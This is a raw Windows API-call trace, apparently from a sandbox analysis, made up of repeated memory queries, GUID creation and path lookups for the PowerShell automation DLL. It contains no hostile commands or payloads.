	[0083.984] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.985] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.986] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.986] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.986] VirtualQuery (in: lpAddress=0xed4dc, lpBuffer=0xee4dc, dwLength=0x1c | out: lpBuffer=0xee4dc*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.987] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.987] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.987] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.987] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.988] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd58eed55, Data2=0x3416, Data3=0x43b3, Data4=([0]=0xac, [1]=0x7e, [2]=0xc2, [3]=0x7b, [4]=0x9a, [5]=0xe2, [6]=0x7, [7]=0x2f))) returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.988] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.988] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.989] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.989] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.990] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.990] GetLastError () returned 0x0
	[0083.991] VirtualQuery (in: lpAddress=0xed6a0, lpBuffer=0xee6a0, dwLength=0x1c | out: lpBuffer=0xee6a0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.991] GetLastError () returned 0x0
	[0083.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.991] GetLastError () returned 0x0
	[0083.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.991] GetLastError () returned 0x0
	[0083.991] VirtualQuery (in: lpAddress=0xed6a0, lpBuffer=0xee6a0, dwLength=0x1c | out: lpBuffer=0xee6a0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.991] GetLastError () returned 0x0
	[0083.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.991] GetLastError () returned 0x0
	[0083.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.991] GetLastError () returned 0x0
	[0083.992] VirtualQuery (in: lpAddress=0xed6a0, lpBuffer=0xee6a0, dwLength=0x1c | out: lpBuffer=0xee6a0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.992] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.992] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.993] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.993] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.993] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.993] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.993] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.994] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.994] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.994] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.994] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.994] VirtualQuery (in: lpAddress=0xed4dc, lpBuffer=0xee4dc, dwLength=0x1c | out: lpBuffer=0xee4dc*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.995] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.995] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.995] VirtualQuery (in: lpAddress=0xed638, lpBuffer=0xee638, dwLength=0x1c | out: lpBuffer=0xee638*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.996] VirtualQuery (in: lpAddress=0xed674, lpBuffer=0xee674, dwLength=0x1c | out: lpBuffer=0xee674*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0083.996] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x5c9caca3, Data2=0x22c8, Data3=0x4fc3, Data4=([0]=0x9c, [1]=0xc9, [2]=0xd, [3]=0x6a, [4]=0xbc, [5]=0x22, [6]=0x99, [7]=0xa))) returned 0x0
	[0083.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.996] GetLastError () returned 0x0
	[0083.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.996] GetLastError () returned 0x0
	[0083.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.996] GetLastError () returned 0x0
	[0083.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.996] GetLastError () returned 0x0
